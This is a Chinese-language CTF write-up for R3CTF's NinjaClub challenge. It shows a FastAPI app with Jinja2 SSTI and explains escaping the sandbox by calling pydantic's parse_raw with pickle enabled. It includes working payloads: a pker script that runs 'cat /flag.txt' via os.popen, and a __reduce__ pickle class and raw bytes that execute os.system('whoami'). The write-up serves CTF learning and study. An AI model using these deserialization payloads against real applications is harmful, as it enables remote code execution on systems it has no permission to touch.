R3CTF NinjaClub jinjia2沙箱
题目源码
from jinja2.sandbox import SandboxedEnvironment, is_internal_attribute
from jinja2.exceptions import UndefinedError
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
from pydantic import BaseModel
from typing import Union
import uvicorn
app = FastAPI()
@app.get("/", response_class=HTMLResponse)
def index():
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ninja Club</title>
<style>
body {
font-family: 'Arial', sans-serif;
background: #333;
color: #fff;
text-align: center;
padding: 50px;
}
h1 {
color: #4CAF50;
}
p {
font-size: 1.2em;
}
a {
display: inline-block;
background: #4CAF50;
color: #fff;
padding: 10px 20px;
margin: 20px 0;
border-radius: 5px;
text-decoration: none;
transition: background-color 0.3s ease;
}
a:hover {
background-color: #3e8e41;
}
.container {
max-width: 600px;
margin: auto;
background: #222;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.5);
}
</style>
</head>
<body>
<div class="container">
<h1>Welcome to Ninja Club!</h1>
<p>Join us in the ninja club. We are present even in the sands of the Sahara. Sharpen your skills and become a master of stealth communications. Qualifications for entry are very strict, so preview your application first.</p>
<a href="/preview">Preview</a>
</div>
</body>
</html>
"""
@app.get("/preview", response_class=HTMLResponse)
def preview_page():
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Preview Ninja Club</title>
<style>
body {
font-family: 'Arial', sans-serif;
background: #333;
color: #fff;
text-align: center;
padding: 20px;
}
.container {
max-width: 600px;
margin: auto;
background: #222;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0,0,0,0.5);
}
h1, p {
margin: 20px 0;
}
label {
display: block;
margin: 10px 0 5px;
text-align: left;
color: #ccc;
}
input, textarea {
width: calc(100% - 20px);
padding: 10px;
margin-top: 5px;
border-radius: 4px;
border: none;
box-sizing: border-box;
}
button {
background-color: #4CAF50;
color: white;
border: none;
padding: 10px 20px;
margin: 20px 0;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.3s;
}
button:hover {
background-color: #3e8e41;
}
#output {
background: #444;
padding: 10px;
margin-top: 20px;
border-radius: 5px;
min-height: 50px;
word-wrap: break-word;
}
form {
text-align: left;
}
</style>
</head>
<body>
<div class="container">
<h1>Mailer Preview</h1>
<p>Customize your ninja message:</p>
<form id="form" onsubmit="handleSubmit(event);">
<label for="name">Name variable:</label>
<input id="name" name="name" value="John" />
<label for="description">Description variable:</label>
<input id="description" name="description" placeholder="Describe yourself here..." />
<label for="age">Age variable:</label>
<input id="age" name="age" type="number" value="18" />
<label for="template">Template:</label>
<textarea id="template" name="template" rows="10">Hello {{user.name}}, are you older than {{user.age}}?</textarea>
<button type="submit">Preview</button>
</form>
<div id="output">Preview will appear here...</div>
</div>
<script>
function handleSubmit(event) {
event.preventDefault();
const data = new FormData(event.target);
const body = {user: {}, template: {source: data.get('template')}};
body.user.name = data.get('name');
body.user.description = data.get('description');
body.user.age = data.get('age');
fetch('/preview', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body)
})
.then(response => response.text())
.then(html => document.getElementById('output').innerHTML = html)
.catch(error => console.error('Error:', error));
}
</script>
</body>
</html>
"""
class User(BaseModel):
name: str
description: Union[str, None] = None
age: int
class Template(BaseModel):
source: str
@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):
env = SandboxedEnvironment()
try:
preview = env.from_string(template.source).render(user=user)
return preview
except UndefinedError as e:
return e
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8001)
首先锁定我们的漏洞代码
@app.post("/preview", response_class=HTMLResponse)
def submit_preview(template: Template, user: User):
env = SandboxedEnvironment()
try:
preview = env.from_string(template.source).render(user=user)
return preview
except UndefinedError as e:
return e
它是会进行一个模板解析的,那就是有ssti的风险,而且我们看一下示例
可以看见的是我们的{{}}内容是成功被解析了的
那就是一道ssti 的题目,但是这个问题是,它是在
env = SandboxedEnvironment()
沙箱中,这个沙箱会有严格的过滤,几乎是不可能绕过的,我们看看过滤了什么
这是我们的调用栈
is_internal_attribute, sandbox.py:125
is_safe_attribute, sandbox.py:265
getattr, sandbox.py:333
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
if isinstance(obj, types.FunctionType):
if attr in UNSAFE_FUNCTION_ATTRIBUTES:
return True
elif isinstance(obj, types.MethodType):
if attr in UNSAFE_FUNCTION_ATTRIBUTES or attr in UNSAFE_METHOD_ATTRIBUTES:
return True
elif isinstance(obj, type):
if attr == "mro":
return True
elif isinstance(obj, (types.CodeType, types.TracebackType, types.FrameType)):
return True
elif isinstance(obj, types.GeneratorType):
if attr in UNSAFE_GENERATOR_ATTRIBUTES:
return True
elif hasattr(types, "CoroutineType") and isinstance(obj, types.CoroutineType):
if attr in UNSAFE_COROUTINE_ATTRIBUTES:
return True
elif hasattr(types, "AsyncGeneratorType") and isinstance(
obj, types.AsyncGeneratorType
):
if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES:
return True
return attr.startswith("__")
可以看到是一些过滤
反正前人就是很难绕过的,这种时候就要变换思路了,但是漏洞点还是在ssti,因为__的过滤,所以很多内置的函数就不可以使用了,然后我们看看这个类本身有什么函数,因为这个类的话是没什么利用函数的,我们看到这个函数还继承了
class User(BaseModel):
name: str
description: Union[str, None] = None
age: int
是继承了BaseModel类,我们看看这个类有什么危险函数
来到我们的这个函数,因为它有一个参数非常让我们怀疑,就是我们的allow_pickle
我们再详细跟踪看一看load_str_bytes方法
if proto is None and content_type:
if content_type.endswith(('json', 'javascript')):
pass
elif allow_pickle and content_type.endswith('pickle'):
proto = Protocol.pickle
else:
raise TypeError(f'Unknown content-type: {content_type}')
proto = proto or Protocol.json
if proto == Protocol.json:
if isinstance(b, bytes):
b = b.decode(encoding)
return json_loads(b) # type: ignore
elif proto == Protocol.pickle:
if not allow_pickle:
raise RuntimeError('Trying to decode with pickle with allow_pickle=False')
bb = b if isinstance(b, bytes) else b.encode() # type: ignore
return pickle.loads(bb)
else:
raise TypeError(f'Unknown protocol: {proto}')
可以看到只需要我们传入的参数满足一些条件是可以pickle反序列化的,而且我们的参数都是可以控制的
首先content_type='pickle',allow_pickle=True
然后就是构造payload
可以用我们的pker工具
s = 'cat /flag.txt'
popen = GLOBAL('os', 'popen')
getattr = GLOBAL('__builtin__', 'getattr')
c = popen(s)
read = getattr(c, 'read')
d = read()
res = {}
res['name'] = d
res['age'] = 30
return res
不过需要学习语法,建议使用我们的
import os
import pickle
import base64
class User:
def __init__(self, username, age):
self.username = username
self.age=age
def __reduce__(self):
return (eval, ("__import__('os').system('whoami')",))
user = User("ljl", 18)
print(pickle.dumps(user))
pickle.loads(b"\x80\x04\x95=\x00\x00\x00\x00\x00\x00\x00\x8c\x08builtins\x94\x8c\x04eval\x94\x93\x94\x8c!__import__('os').system('whoami')\x94\x85\x94R\x94.")
调用栈
parse_raw, main.py:1143
call, runtime.py:298
call, sandbox.py:393
<框架不可用>
render, environment.py:1299
submit_preview, test2.py:198
run, _asyncio.py:859
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973
标签:__,NinjaClub,return,py,R3CTF,复现,preview,pickle,user
From: https://www.cnblogs.com/nn0nkey/p/18248678